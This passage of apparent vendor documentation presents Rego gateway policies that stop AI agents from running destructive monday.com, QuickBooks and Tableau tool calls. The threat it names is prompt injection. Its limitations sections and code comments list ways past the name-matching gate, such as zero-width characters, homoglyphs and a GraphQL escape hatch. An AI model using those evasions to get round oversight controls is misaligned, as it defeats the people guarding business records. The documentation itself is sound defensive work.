suffixes cannot appear unaudited. - a **board/schema write fence** (PF-23 `fence-sensitive-boards`) for destructive-adjacent mutations (`change_item_column_values` blanking fields, schema creation/edit) that are intentionally out of scope here. - an **egress PII redaction** policy on the board/item read surfaces. ## Known limitations - **Group names are placeholders — replace `monday-admins` with your IdP's group name at import time.** The gate reads `input.subject.claims.groups`; confirm your IdP actually emits a `groups` claim (Auth0 and most IdPs require explicit configuration) before relying on the admin exemption. With no `groups` claim the policy still fails closed: Tier 2 calls are denied for everyone, and Tier 1 is denied regardless of identity. - **The GraphQL escape hatch bypasses this policy.** `all_monday_api` / `all_api_read` / `all_api_write` execute arbitrary GraphQL (including deletions and column drops) as a single `query` string that never names a delete verb. This policy does not inspect that string — compose the PF-22 escape-hatch deny alongside it. - **The destructive list is fixed and monday's tool set drifts.** A future destructive verb that does not end in one of the matched suffixes (a hypothetical `delete_group`, `delete_board`, or a bulk plural) is not caught until added to the suffix lists. Note the near-miss trap: `manage_object_schema_columns` (a non-destructive write) does **not** match `delete_object_schema_columns` because the tail differs (`manage_…` vs `delete_…`), so schema edits correctly pass through. Re-audit when the upstream server updates; for a hard guarantee, compose PF-28. - **Community-only tools have no official counterpart.** `archive_item` exists only on the sakce server; on the official server that suffix never appears, so its branch is a harmless no-op there. - **Recovery is a monday feature, not a DTwo guarantee.** Tier 2 verbs are gated because the deleted records are recoverable from monday's recycle bin (~30 days per monday's documented behavior); this policy neither performs nor guarantees that recovery. Verify your account's retention window. - **Suffix matching is exact apart from surrounding whitespace.** The match is `endswith` on the lowercased, `trim_space`d name, so leading/trailing spaces, tabs, and newlines are handled. It does **not** normalize other trailing characters (a trailing `.`, or an invisible non-whitespace code point such as U+200B) or Unicode homoglyphs. These are not real evasions on a correctly configured gateway — the gateway routes on the exact server-registered tool name, so a padded/homoglyph name does not resolve to the real destructive tool — but if you cannot rely on that invariant, compose PF-28 so only audited exact names are permitted at all. - **Suffix matching is portable but broad.** A hypothetical unrelated tool whose name ends in one of the matched suffixes would also be caught. For a record-integrity freeze, over-matching is the safe direction. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package monday.ingress.freeze_destructive_ops # Deny-by-default: only the explicit allow rules below permit the request. # Note: the pass-through allow branch (`not is_destructive_tool`) neutralizes # this default for every non-destructive tool, so the default-deny bites only # on the matched destructive suffixes. default allow := false # Placeholder IdP group allowed to run the Tier 2 (recoverable) destructive # tools. Replace "monday-admins" with your IdP's group name at import time. # Tier 1 (irreversible) tools are NOT unlocked by this group. admin_group := "monday-admins" # --- Tier 1: irreversible, whole-board / account-wide blast radius --- # Denied for EVERYONE, with no admin override. None of these route to a recycle # bin. Official monday server only (sakce has no counterpart). Match by suffix, # case-insensitively, to survive the gateway server-name prefix. # Note on ordering: "delete_object_schema" is NOT a suffix of # "delete_object_schema_columns" (the latter's tail is "..._columns"), so the # two are distinct matches; both land in the same tier regardless. irreversible_suffixes := [ "delete_column", "delete_object_schema", "delete_object_schema_columns", ] # --- Tier 2: recycle-bin-recoverable, per-record --- # Denied UNLESS the caller is in admin_group. # - "delete_item" -> official delete_item AND community monday_delete_item # - "archive_item" -> community monday_archive_item (no official counterpart) # - "delete_update" -> official delete_update (removes an update/comment) # - "undo_action" -> official undo_action (reverses the previous action) admin_gated_suffixes := [ "delete_item", "archive_item", "delete_update", "undo_action", ] # Tool name is read via object.get chains from BOTH the PARC field # (input.resource.name) and the legacy alias (input.payload.name), so a request # that omits the resource block still cannot skip matching (red-team hardening: # missing/omitted field must not fail open). name_of coerces to a lowercased, # whitespace-trimmed string; a missing OR non-string value (number, null, # array, object) resolves to "" rather than leaving the rule undefined (an # undefined name would make endswith undefined and skip matching -> fail open). # trim_space strips leading/trailing whitespace so a padded name like # "monday-delete_item\n" cannot slip past the suffix match. name_of(key) := trim_space(lower(v)) if { v := object.get(object.get(input, key, {}), "name", "") is_string(v) } name_of(key) := "" if { v := object.get(object.get(input, key, {}), "name", "") not is_string(v) } resource_name := name_of("resource") payload_name := name_of("payload") # Both names are checked independently. A malformed (non-string) value in one # field cannot suppress a real destructive suffix in the other. is_irreversible_tool if { some suffix in irreversible_suffixes endswith(resource_name, suffix) } is_irreversible_tool if { some suffix in irreversible_suffixes endswith(payload_name, suffix) } is_admin_gated_tool if { some suffix in admin_gated_suffixes endswith(resource_name, suffix) } is_admin_gated_tool if { some suffix in admin_gated_suffixes endswith(payload_name, suffix) } # --- Admin gate --- # Reads the groups claim through object.get chains so a missing subject, # missing claims, missing groups, or non-array groups value fails closed. The # is_array guard is load-bearing: without it, a groups claim that is an OBJECT # whose values include "monday-admins" (e.g. {"0":"monday-admins"}) would # satisfy `some group in groups` and fail OPEN. Requiring an array forces any # non-array shape (string, object, number) to fail closed. caller_is_admin if { claims := object.get(input.subject, "claims", {}) groups := object.get(claims, "groups", []) is_array(groups) some group in groups group == admin_group } # Allow any tool outside both destructive tiers (pass-through). allow if { not is_irreversible_tool not is_admin_gated_tool } # Allow Tier 2 tools only for members of the admin group. The # `not is_irreversible_tool` guard means a name that somehow matched both tiers # can never be unlocked here (irreversible always wins). allow if { is_admin_gated_tool not is_irreversible_tool caller_is_admin } # Tier 1 deny reason (fires for irreversible tools regardless of identity). reasons contains "This monday operation is blocked for everyone: delete_column, delete_object_schema, and delete_object_schema_columns are irreversible and hit every item on the board (or a shared schema account-wide), and none of them route to the recycle bin. There is no admin override for these over MCP — make this structural change from the monday web UI, where it can be reviewed. If you believe this block is a false positive, contact your InfoSec team." if { is_irreversible_tool } # Tier 2 deny reason (fires for recoverable tools when the caller is not admin # and the tool is not also a Tier 1 verb). reasons contains "This monday deletion is blocked because delete/undo tools over MCP remove records an agent could destroy in error or under prompt injection: delete_item takes only an itemId with no confirmation, and delete_update, undo_action, and archive_item remove or reverse item data. These are recoverable from monday's recycle bin (~30 days) but still gated. Route this request through a member of your monday admin group (placeholder: monday-admins) instead. If you believe this block is a false positive, ask your InfoSec team to add you to that group." if { is_admin_gated_tool not is_irreversible_tool not caller_is_admin } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Freeze Destructive QuickBooks Operations URL: https://www.intentbasedpolicy.com/policies/quickbooks/freeze-destructive-ops App(s): quickbooks | Direction: ingress | Bundles: sox, soc2 | Package: quickbooks.ingress.freeze_destructive_ops | Published: 2026-07-12 | Tags: quickbooks, freeze-destructive-ops, ingress, sox, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/quickbooks/freeze-destructive-ops/policy.md # quickbooks / freeze-destructive-ops **Direction:** ingress (`tool_pre_invoke`) **Default:** deny destructive tool calls, allow everything else **Package:** `quickbooks.ingress.freeze_destructive_ops` ## What it does Denies every destructive QuickBooks Online (QBO) tool call on the agent channel before it reaches the MCP server. In QBO semantics a transaction delete is a **hard delete** — the row is gone and is recoverable only from the audit log, not from a recycle bin. An agent (or an agent following a poisoned instruction) must therefore never be allowed to consummate one. A person performs any deletion in the QuickBooks Online UI instead. There is no group exemption: this policy blocks **all callers**. Two destructive shapes are covered: - **Dedicated destructive tools (official server, LibreChat, Claude connector).** The official Intuit server exposes `verb_entity` tools, and the policy denies any tool whose name carries a destructive verb (`delete`, `void`, or `deactivate`) followed by an entity separator (`_` or `-`) — matched at a word boundary, case-insensitively — which covers all 20 destructive tools in the official inventory: `delete_invoice`, `delete_payment`, `delete_bill`, `delete_bill_payment`, `delete_journal_entry`, `delete_deposit`, `delete_transfer`, `delete_credit_memo`, `delete_refund_receipt`, `delete_purchase`, `delete_purchase_order`, `delete_sales_receipt`, `delete_vendor_credit`, `delete_estimate`, `delete_time_activity`, `delete_customer`, `delete_vendor`, `delete_employee`, `delete_item`, and `delete_attachable`. (Transaction deletes are hard deletes; the name-entity "deletes" — customer/vendor/employee/item — are QBO deactivations, blocked here too for a consistent no-destruction posture.) No surveyed build exposes a dedicated `void_` or `deactivate_` tool — voids/deactivations there ride the `delete_*` name or the `operation` argument — but the name rule matches those verbs too, symmetric with the `operation` rule, so a dedicated `void_*`/`deactivate_*` tool on the unverified connector build cannot slip past. - **Parameterized 6-mega-tool shape (archived hvkshetry server).** That server hides the verb in an argument — `transaction(operation="delete"|"void")`, `party(operation="deactivate")`, etc. — so a tool-name match sees only `transaction`, `party`, `item`, etc. To cover it, the policy also denies whenever the `operation` argument resolves to `delete`, `void`, or `deactivate` (case- and whitespace-insensitive), read from **either** `input.payload.args.operation` **or** `input.payload.params.arguments.operation`. Reads (`get_*`, `search_*`), the 11 financial reports, and non-destructive create/update writes (`create_invoice`, `update_customer`, …) pass through unchanged. Because the check runs at ingress, a blocked delete never touches the ledger. ## Compliance alignment - **SOX §802 / 18 U.S.C. §1519 — anti-destruction/alteration of records.** QBO is the general ledger for most SMBs; every transaction row is a book of record. This policy keeps agent-initiated destruction (and voids) of invoices, payments, journal entries, deposits, transfers, bills, and the rest off the MCP path, so a financial record cannot be erased or altered-by-deletion by an automated actor. **§802 / SEC Rule 2-06** — supports retention and legal-hold posture by keeping agent-driven deletion off evidence paths. - **SOC 2 PI1.5 — integrity of stored records.** Supports processing-integrity by preventing agent-initiated destruction of stored accounting records on the agent channel. ## Tool name matching Matches case-insensitively on the tool name. The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `quickbooks-delete_invoice`), and that prefix is **not standardized** across the official, LibreChat, and Claude-connector builds — so instead of an exact name the policy matches a destructive verb (`delete`, `void`, or `deactivate`) at a word boundary (start of name, or preceded by a non-letter such as the gateway's `-`/`_` separator) followed by an entity separator (`_` or `-`). This is portable across server-name prefixes and across builds that render the verb/entity boundary with either `_` (`delete_invoice`) or `-` (`delete-invoice`), and covers every `delete_` tool — and any dedicated `void_` / `deactivate_` tool — without enumerating each one. It does not match a restore-style `undelete_*` or `reactivate_*` name, nor a read tool that merely contains the word "deleted"/"voided" (e.g. `get_deleted_invoices`, `get_voided_invoices`), nor an unrelated `avoid_*`, because in each case the character right after the verb is a letter (or a letter precedes it), not a separator at a boundary. The name is read from **both** the PARC field (`input.resource.name`) and the legacy alias (`input.payload.name`), matched independently: a request that omits the `resource` block cannot skip the name match by carrying the name only in `payload.name` (fail-open hardening). Each field is coerced to a lowercased, whitespace-trimmed string — a missing or non-string value (number, null, array, object) resolves to the empty string rather than leaving the match undefined, and `trim_space` strips leading/trailing spaces, tabs, and newlines so a padded name such as `quickbooks-delete_invoice\n` cannot slip past the boundary match. **Confirm the exact names your gateway sends with a live `tools/list` (or the dump-input debug technique) before relying on this in production** — the landscape note flags the Claude-connector tool names as unpublished/unverified, and the QBO report tool-name strings were likewise not verified from source. ## Argument shape - **`operation` verb (parameterized servers).** Read from `input.payload.args.operation` and `input.payload.params.arguments.operation` via `object.get` chains. Each value is stringified, lowercased, and whitespace-trimmed before comparison against the destructive set `{delete, void, deactivate}`. A padded `" delete "`, a case variant (`DELETE`), or the same verb delivered under the alternate `params.arguments` container are all caught. - The dedicated `delete_*` tools are denied on name alone; their `id` / entity-id arguments are not inspected. ## Examples ### Allowed — read tool, untouched ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "quickbooks-get_invoice", "type": "tool" }, "payload": { "name": "quickbooks-get_invoice", "args": { "id": "145" } } } } ``` `allow = true`, no reason. ### Allowed — non-destructive create write ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "quickbooks-create_invoice", "type": "tool" }, "payload": { "name": "quickbooks-create_invoice", "args": { "customer_ref": "58", "line_items": [{ "item_ref": "1", "qty": 2, "unit_price": 50 }] } } } } ``` `allow = true`, no reason. ### Denied — dedicated delete tool ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "quickbooks-delete_invoice", "type": "tool" }, "payload": { "name": "quickbooks-delete_invoice", "args": { "id": "145" } } } } ``` `allow = false`, reason names the tool and points to the QuickBooks Online UI. ### Denied — parameterized mega-tool hiding the verb in `operation` ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "qbo-transaction", "type": "tool" }, "payload": { "name": "qbo-transaction", "args": { "operation": "void", "entity_type": "Payment", "id": "22" } } } } ``` `allow = false`, reason names the `void` operation. ## Composition Single-purpose: this policy only freezes destruction. Useful companions: - **PF-09 gate-money-movement** — group-gate and cap `create_payment`, `create_bill_payment`, `create_refund_receipt`, and `create_transfer` so money-movement writes are governed even though they are not deletes. - **PF-12 role-gate-writes** — allow `create_*` / `update_*` only for a finance IdP group, leaving reads and reports open; attach both for full write governance. - **A journal-entry lockout** — deny `create_journal_entry` / `update_journal_entry` for all agents, since direct ledger restatement is the highest-risk write. ## Known limitations - **No identity exemption by design.** The spec is a hard freeze — every caller is denied and no group can override it through the agent. If you need a break-glass finance role, add a separate `allow if` branch gated on `input.subject.claims` (`groups`) rather than editing this policy; group names would be placeholders to replace with your IdP's group at import time. - **Tool names are unverified for two builds.** The Claude-connector tool names are not published, and the QBO report tool-name strings were not verified from source. The `delete_` verb match assumes the connector reuses the official `verb_entity` vocabulary. Capture the live `tools/list` and confirm before production use. - **Destructive-verb word-boundary match.** Matching `delete`, `void`, or `deactivate` at a boundary (followed by a `_` or `-` separator) over-blocks any future or third-party tool whose name contains a `delete_` / `void-` / `deactivate_` segment (e.g. a hypothetical `soft_delete_note` on another server on the same gateway). The failure mode is over-blocking, never under-blocking. Restore-style `undelete_*`/`undelete-*` and `reactivate_*` names are **not** matched (the boundary requires a non-letter before the verb), a read tool whose name merely contains "deleted"/"voided" (e.g. `get_deleted_invoices`, `get_voided_invoices`) is not matched (the char after the verb is a letter, not a separator), and an unrelated `avoid_*` is not matched (a letter precedes `void`). The `void`/`deactivate` verbs are matched on the name symmetrically with the `operation`-argument rule: no surveyed build ships a dedicated `void_*`/ `deactivate_*` tool, but the connector build's tool names are unverified, so the name rule blocks them pre-emptively rather than relying on the argument rule alone. - **Verb/entity separator must be `_` or `-`.** The name match requires a `_` or `-` between the `delete` verb and the entity (`delete_invoice`, `delete-invoice`); a hypothetical concatenated name with **no** separator (`deleteinvoice`) is not matched by the name rule. This is not a real evasion on a correctly configured gateway — it routes on the exact server-registered tool name, and every surveyed QBO build uses an underscore-separated `delete_` name — but if you cannot rely on that invariant, compose the PF-28 `default-deny-unknown-tools` allowlist. - **Reversible deactivation via `update_*` is not blocked.** In QBO, deactivating a name entity (customer/vendor/employee/item) can be done either by the dedicated `delete_` tool (blocked here) **or** by an ordinary `update_` write that sets `active: false` — and that update passes through, because this policy deliberately allows non-destructive create/update writes. The gap is bounded to *reversible* deactivations (they can be re-activated by another update); the irreversible concern — hard deletes and voids of transactions — has no `update_*` equivalent and is fully covered by the `delete`/`operation` rules. If you need to freeze `active: false` toggles too, compose **PF-12 role-gate-writes** (or a dedicated update-guard policy) that inspects `update_*` argument bodies. - **The `operation` rule keys on exact verbs.** It denies only `delete`, `void`, and `deactivate`. A parameterized server that uses a different destructive verb, or a mega-tool call that omits `operation` entirely, is **not** caught by the argument rule (and, having no `delete_` tool name, would pass). Unlike a fail-closed allowlist, this follows the spec's explicit-deny model — confirm your server's `operation` vocabulary and extend `destructive_operations` if it uses other verbs. A **non-string** `operation` value (e.g. an array `["delete"]`) is stringified by `sprintf("%v", …)` to `"[delete]"`, which is not in the destructive set and so is not caught by the argument rule. This is not a real evasion: a typed mega-tool server rejects a non-string `operation`, so the call never reaches a destructive code path — but if you cannot rely on server-side type validation, add the PF-28 `default-deny-unknown-tools` allowlist. - **Name matching is normalized apart from non-whitespace padding.** The tool name is lowercased and `trim_space`d before the boundary match, so casing and leading/trailing spaces, tabs, and newlines are handled, and both `resource.name` and `payload.name` are checked so a missing `resource` block cannot fail open. It does **not** normalize other trailing/embedded characters: a name padded with a non-whitespace code point (e.g. a zero-width space) or built from Unicode homoglyphs of `delete_` would not match. These are not real evasions on a correctly configured gateway — it routes on the exact server-registered tool name, so a padded/homoglyph name does not resolve to the real destructive tool — but if you cannot rely on that invariant, compose the PF-28 `default-deny-unknown-tools` allowlist alongside this policy. - **MCP path only.** Deletes performed in the QuickBooks Online web UI, via the QBO REST API directly, or by another integration are outside the gateway's reach. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package quickbooks.ingress.freeze_destructive_ops # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # Destructive verbs that can appear in the `operation` argument of a # parameterized (mega-tool) QuickBooks MCP server such as the archived # hvkshetry build — transaction(operation="delete"|"void"), etc. Compared # case- and whitespace-insensitively. destructive_operations := {"delete", "void", "deactivate"} # Case-insensitive tool name, read from BOTH the PARC field (resource.name) and # the legacy alias (payload.name). name_of coerces to a lowercased, # whitespace-trimmed string: a missing OR non-string value (number, null, array, # object) resolves to "" rather than leaving the rule undefined (an undefined # name would make the regex check undefined and skip matching entirely — # fail-open). trim_space strips leading/trailing whitespace so a padded name like # "quickbooks-delete_invoice\n" cannot slip past the boundary match. name_of(key) := trim_space(lower(v)) if { v := object.get(object.get(input, key, {}), "name", "") is_string(v) } name_of(key) := "" if { v := object.get(object.get(input, key, {}), "name", "") not is_string(v) } resource_name := name_of("resource") payload_name := name_of("payload") # Display name for the deny reason: the PARC name when present, else the legacy # payload name (so the message is meaningful even if the resource block is absent). display_name := resource_name if resource_name != "" display_name := payload_name if resource_name == "" # Dedicated destructive tools. The gateway prefixes the tool with the configured # server name, which is not standardized, so we match a destructive verb # (`delete`, `void`, or `deactivate`) at a word boundary (start of the name, or # preceded by a non-letter such as the `-`/`_` gateway separator) followed by an # entity separator (`_` or `-`), rather than an exact name. This covers every # `delete_` tool in the official inventory without enumerating each one, # and — because the separator class is `[_-]` — also catches a hyphen-cased # `delete-` name from a server or gateway build that renders the # verb/entity boundary with `-` instead of `_`. The `void`/`deactivate` verbs are # matched on the NAME too (symmetric with the `operation`-argument rule below) so # a dedicated `void_`/`deactivate_` tool — plausible on the # Claude-connector build whose tool names the landscape note flags as unverified — # cannot slip past a delete-only name match. It does NOT match a restore-style # `undelete_*`/`undelete-*` or `reactivate_*` name (a letter precedes the verb), # nor a read tool that merely contains the word "deleted"/"voided" such as # `get_deleted_invoices`/`get_voided_invoices` (the verb is followed by a letter, # not a separator), nor an unrelated `avoid_*` (the `void` there is preceded by a # letter). Both names are checked independently, so a malformed value in one field # cannot suppress a real destructive verb carried in the other. is_destructive_tool_name if { regex.match(`(^|[^a-z])(delete|void|deactivate)[_-]`, resource_name) } is_destructive_tool_name if { regex.match(`(^|[^a-z])(delete|void|deactivate)[_-]`, payload_name) } # All `operation` argument values, read from both the generic gateway args key # and the alternate params.arguments container, normalized (stringified, # lowercased, whitespace-trimmed). Empty/missing values are dropped. operation_values contains v if { op := object.get(object.get(object.get(input, "payload", {}), "args", {}), "operation", "") v := lower(trim_space(sprintf("%v", [op]))) v != "" } operation_values contains v if { params := object.get(object.get(input, "payload", {}), "params", {}) arguments := object.get(params, "arguments", {}) op := object.get(arguments, "operation", "") v := lower(trim_space(sprintf("%v", [op]))) v != "" } # A parameterized call whose `operation` verb is destructive. destructive_operation_arg if { some v in operation_values destructive_operations[v] } # A destructive request: a dedicated delete_/void_/deactivate_ tool, or any tool # carrying a destructive `operation` argument. is_destructive if { is_destructive_tool_name } is_destructive if { destructive_operation_arg } # Allow anything that is not destructive (reads, reports, create/update writes, # and non-QuickBooks tools). allow if { not is_destructive } reasons contains msg if { is_destructive_tool_name msg := sprintf("The tool '%s' performs a destructive QuickBooks operation. In QuickBooks Online most transaction deletes are hard deletes, recoverable only from the audit log, so agent-initiated deletes and deactivations are blocked on this channel. A person must perform the deletion in the QuickBooks Online UI. Contact your finance or InfoSec team if this block is a false positive.", [display_name]) } reasons contains msg if { destructive_operation_arg some v in operation_values destructive_operations[v] msg := sprintf("This QuickBooks tool call requests a destructive operation ('%s') through its 'operation' argument. Delete, void, and deactivate are blocked on the agent channel because QuickBooks transaction deletes are hard deletes, recoverable only from the audit log. Perform the change in the QuickBooks Online UI instead. Contact your finance or InfoSec team if this block is a false positive.", [v]) } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Freeze Destructive Tableau Content Ops URL: https://www.intentbasedpolicy.com/policies/tableau/freeze-destructive-content App(s): tableau | Direction: ingress | Bundles: soc2 | Package: tableau.ingress.freeze_destructive_content | Published: 2026-07-12 | Tags: tableau, freeze-destructive-ops, record-integrity, ingress, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/tableau/freeze-destructive-content/policy.md # tableau / freeze-destructive-content **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise **Package:** `tableau.ingress.freeze_destructive_content` ## What it does Denies the irreversible content-mutation tools on the official `tableau/tableau-mcp` web server unless the caller's IdP token carries the placeholder group `tableau-admins`. All other tool calls (reads, queries, catalog/metadata, Pulse, view renders) pass through unchanged. The frozen surface is the server's destructive/mutation set: deleting a published data source or workbook, deleting an extract-refresh task, and rewriting a cloud extract-refresh schedule. Deleted workbooks and data sources go to the Tableau recycle bin and are recoverable for **only a limited window** before they are permanently gone; a silently stopped or rescheduled extract refresh is a data-integrity incident, not just an ops one — dashboards go stale while still looking live. An agent acting on a hallucinated instruction or an injected prompt must not be able to destroy content or quietly break a refresh, so this family is admin-gated for everyone else. The check runs at ingress, before the call reaches the MCP server, so a blocked delete never executes. This IdP-claim gate sits **on top of** the server's own mutation guard (`src/tools/web/_lib/mutationGuard.ts`): the server already enforces a site-admin gate, a preview→confirm protocol, and a per-mutation audit record — but that guard is keyed on *Tableau* roles and is the server's policy, not yours. The DTwo policy on IdP claims is the only org-controlled gate, and it composes with (does not replace) the server guard. ## Compliance alignment - **SOC 2 PI1.5** (Integrity of stored records — PF-06) — supports integrity of stored records by removing the agent's unilateral ability to delete BI content or silently break the extract refreshes that keep it accurate. - **GDPR Art. 5(1)(d)** (Accuracy — anti-mass-corruption — PF-06) — supports accuracy by preventing mass-deletion of personal-data content and by blocking silent extract-refresh reschedules that would leave personal-data dashboards stale and inaccurate. ## Tool name matching The official server names tools **kebab-case with no vendor prefix** (`delete-workbook`, `confirm-delete-workbook`), and the DTwo gateway prepends the configured MCP server name (e.g. `tableau-delete-workbook`). Because the prefix is deployment-specific, the policy matches on the **distinctive suffix**, case-insensitively, for both the base tool and its separately-registered `confirm-` twin: - `-delete-datasource` / `-confirm-delete-datasource` - `-delete-workbook` / `-confirm-delete-workbook` - `-delete-extract-refresh-task` / `-confirm-delete-extract-refresh-task` - `-update-cloud-extract-refresh-task` / `-confirm-update-cloud-extract-refresh-task` Every destructive tool on this server has a `confirm-` twin registered as a **separate tool** — a gate on `delete-workbook` that misses `confirm-delete-workbook` (or vice versa) leaves the other half open, so both are enumerated explicitly. The suffixes are distinctive enough not to collide with the read surface: `list-extract-refresh-tasks` (plural) is not matched, and no read/catalog tool ends in one of these suffixes. Underscores in the tool name are normalized to hyphens before matching, so a snake_case-named community variant (`delete_workbook`) is gated too — over-matching is the safe direction for a record-integrity freeze. The name is read from **both** the PARC field (`input.resource.name`) and the legacy alias (`input.payload.name`) via `object.get` chains, matched **independently**: a request missing the `resource` block, or one carrying a malformed (non-string) value in either field, still cannot skip the match. Each field is coerced to a lowercased, whitespace-trimmed string (a number, null, array, or object resolves to the empty string), so a non-string value in one field can never suppress a genuine destructive verb in the other, and leading/trailing whitespace or a trailing newline cannot push a real destructive suffix out of reach of the `endswith` match. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape None. The decision uses only the tool name (`input.resource.name`, with the legacy `input.payload.name` as fallback) and the caller's identity (`input.subject.claims.groups`); arguments are not inspected. In particular, this policy ignores the server's `confirm` boolean — it freezes the whole destructive family for non-admins rather than only the `confirm: true` execution call. (If you instead want agents to be able to *stage* a deletion for a human to confirm in the Tableau UI, use the companion preview-only policy that keys on `arguments.confirm`; see Composition.) Group membership is read via `object.get`-chained access to `input.subject.claims.groups` and fails closed: a missing subject, missing claims, missing `groups`, or a non-array `groups` value all mean "not admin", so the destructive call is denied. ## Examples ### Allowed — read tool, any caller ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "tableau-list-workbooks", "type": "tool" }, "payload": { "name": "tableau-list-workbooks", "args": {} } } } ``` `allow = true`, no reason. ### Allowed — delete by an admin ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "tableau-delete-workbook", "type": "tool" }, "subject": { "sub": "admin@example.com", "claims": { "groups": ["tableau-admins"] } }, "payload": { "name": "tableau-delete-workbook", "args": { "workbookId": "wb-luid" } } } } ``` `allow = true`. ### Denied — delete by a non-admin ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "tableau-confirm-delete-datasource", "type": "tool" }, "subject": { "sub": "analyst@example.com", "claims": { "groups": ["data-analysts"] } }, "payload": { "name": "tableau-confirm-delete-datasource", "args": { "datasourceId": "ds-luid", "confirm": true } } } } ``` `allow = false`, `reason = "This Tableau content operation is blocked because it is hard to reverse (...)"`. ## Composition This policy is single-purpose: it freezes the destructive content family and nothing else. Useful companions from the Tableau candidate set: - **Preview-only deletes** — allow the delete tools when `arguments.confirm` is absent or false and deny only when `confirm == true`, so an agent can stage/report a deletion for a human to execute. Use this *instead of* this policy where a hard admin freeze is too disruptive; use it *alongside* to also gate the preview step behind a group. - **Deny token management** — deny `get-embed-token`, `revoke-access-token`, `reset-consent` for everyone; those mint/break credentials and are out of scope here. - **Admin-insights lockdown** — gate `query-admin-insights-ts-events`, `query-admin-insights-site-content`, `query-admin-insights-job-performance`, `get-stale-content-report`, and `list-users` behind `tableau-admins` (employee-monitoring data). - **Egress PII redaction + image deny** on `query-datasource` / `get-view-data` / `get-view-image` — content-level controls this ingress freeze does not touch. ## Known limitations - **Group names are placeholders — replace `tableau-admins` with your IdP's group name at import time.** The gate reads `input.subject.claims.groups`; confirm your IdP actually emits a `groups` claim (Auth0 and Entra ID both require explicit configuration) before relying on the admin exemption. With no `groups` claim, the policy still fails closed: destructive calls are denied for everyone. - **Tableau Next is a different product.** The Salesforce-hosted Tableau Next server (`analytics/tableau-next`) uses disjoint snake_case tool names and is read-only as of GA (no delete/write tools), so this policy neither covers nor needs to cover it. A customer could run both products behind the gateway. - **Community servers use unverified names.** The community Python servers (LokiMCPUniverse, hetpatel-11) advertise REST-backed write tools whose names are unverified in the landscape note. The underscore-normalizing suffix match catches `delete_*`-shaped variants, but verify with dump-input if you deploy one. - **Name-mutation evasion is bounded by exact-name routing, not by this policy.** The match normalizes case, underscores→hyphens, and strips leading/trailing *whitespace* and newlines, but it does **not** catch a name whose *word separators* or *characters* differ from the registered tool — e.g. camelCase (`deleteWorkbook`), a Unicode look-alike hyphen (U+2010), an extra internal separator (`delete-data-source`), or a trailing **zero-width / non-whitespace invisible character** (e.g. U+200B zero-width space, which `trim_space` does **not** strip because it is a format character, not whitespace — so `-delete-workbook​` is invisible on screen yet slips past the `endswith` suffix match). The "trailing whitespace/newline cannot push a suffix out of reach" guarantee in **Tool name matching** above is precise: it holds for whitespace only, not for zero-width format characters. Any such string is only a bypass if the MCP server would route it to the real destructive tool, and the official and known community servers match tool names **exactly**: a mutated string names no routable tool and cannot execute a delete. Re-verify tool names with dump-input before trusting this for a server whose name-matching you have not confirmed. - **Destruction-by-overwrite and passthrough are out of scope.** `update-cloud-extract-refresh-task` is included because a silent reschedule is a data-integrity event, but the desktop toolset's `apply-workbook` (writes workbook XML) runs local to Tableau Desktop and does not traverse the gateway. Content overwrite via re-publish is not modeled here. - **The server's own mutation guard is separate.** Its site-admin gate and preview→confirm protocol are keyed on Tableau roles, not IdP claims, and remain in force independently; this policy is the org-controlled layer on top, not a replacement. - **`update-cloud-extract-refresh-task` argument shape is unverified** in the landscape note. This policy does not inspect arguments, so that does not affect enforcement — but a companion `confirm`-argument policy would depend on the exact shape. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package tableau.ingress.freeze_destructive_content # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # Placeholder IdP group allowed to run destructive Tableau content operations. # Replace "tableau-admins" with your IdP's group name at import time. admin_group := "tableau-admins" # --- Destructive tool matching --- # The official tableau/tableau-mcp web server names tools kebab-case with no # vendor prefix (delete-workbook, confirm-delete-workbook) and the gateway # prepends the configured MCP server name (e.g. tableau-delete-workbook), so # the distinctive verb+noun appears as a suffix. Each destructive tool has a # separately-registered `confirm-` twin; both the base and the twin are listed # explicitly so gating one can never leave the other open. # Verify the exact names on your gateway with the dump-input debug technique. destructive_suffixes := [ "delete-datasource", "confirm-delete-datasource", "delete-workbook", "confirm-delete-workbook", "delete-extract-refresh-task", "confirm-delete-extract-refresh-task", "update-cloud-extract-refresh-task", "confirm-update-cloud-extract-refresh-task", ] # Tool name is read via object.get chains from BOTH the PARC field # (input.resource.name) and the legacy alias (input.payload.name), so a # request that somehow omits the resource block still cannot skip matching # (red-team hardening: missing resource must not fail open). # name_of coerces to a lowercased, whitespace-trimmed string. A missing OR # non-string value (number, null, array, object) resolves to "" rather than # leaving the rule undefined — an undefined name would make the suffix match # undefined and skip matching entirely (fail-open). Leading/trailing whitespace # and newlines are stripped with trim_space so a name padded with a trailing # space or "\n" cannot slip past the endswith() suffix match (red-team # hardening: whitespace must not evade the freeze). name_of(key) := lower(trim_space(v)) if { v := object.get(object.get(input, key, {}), "name", "") is_string(v) } name_of(key) := "" if { v := object.get(object.get(input, key, {}), "name", "") not is_string(v) } resource_name := name_of("resource") payload_name := name_of("payload") # Both names are checked 